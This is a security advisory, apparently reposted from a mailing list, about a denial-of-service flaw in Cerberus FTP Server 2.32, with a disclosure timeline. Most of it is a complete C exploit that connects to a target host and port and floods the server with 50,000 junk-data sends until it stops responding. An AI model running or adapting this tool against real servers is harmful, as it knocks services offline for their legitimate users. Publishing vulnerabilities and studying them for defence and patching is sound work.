[NT] Cerberus FTP Server DoS (CVH, Exploit)

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Cerberus FTP Server DoS (CVH, Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://www.cerberusftp.com/> Cerberus FTP Server provides industrial
strength secure SSL/TLS encryption and powerful FTP server performance
without sacrificing ease-of-use."

By sending Cerberus FTP Server arbitrary junk a remote attacker can cause
the server to no longer respond to legitimate requests.

DETAILS

Vulnerable Systems:
* Cerberus FTP Server version 2.32

A denial-of-service attack (DoS) is an attack on a computer system or
network that causes a loss of service to users, typically the loss of
network connectivity and services by consuming the bandwidth of the victim
network or overloading the computational resources of the victim system.

Exploit:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define POCSTR "%s"

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers
Institute\n\n");
printf("[i] Title: \tCerberus FTP Server <= v2.32 Dos Exploit\n");
printf("[i] Discovered by: \tcvh {a] kapda.ir\n");
printf("[i] Exploit by: \tPi3cH {a] kapda.ir\n");
printf("[i] More info: \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}

int usage(char *filename) {
printf("[i] Usage: \t%s HOST PORT\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21\n\n",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct
sockaddr ) ) == -1 )
{
printf ( "[e] Failed connecting!\n" );
exit(1);
}
return ( s );
}


int main(int argc, char *argv[]) {
int s,i;
char *request;
char junk_data[] = "DoS-JUNK-DATA.:(CVH):.\x0d\x0a";
header();
if( (argc < 2) )
usage(argv[0]);
request = (char *) malloc(1024);
printf("[r] Connecting to remote host\n");
s = remote_connect(argv[1],atoi(argv[2]));
sleep(1);
printf("[r] Creating buffer\n");
sprintf(request,POCSTR,junk_data);
printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
for(i=0;i<50000;i++)
if ( send ( s, request, strlen (request), 0) <= 0 )
{
printf("[e] Failed to send buffer\n");
close(s);
exit(1);
}
sleep(1);
printf("[s] Exploit Done!\n");
close(s);
free(request);
request = NULL;
return 0;
}

Disclosure Timeline:
Found : Aug 21 2005
Vendor Contacted : Aug 21 2005
Release Date : Jan 14 2006


ADDITIONAL INFORMATION

The original article can be found at:
<http://www.kapda.ir/advisory-210.html>
http://www.kapda.ir/advisory-210.html



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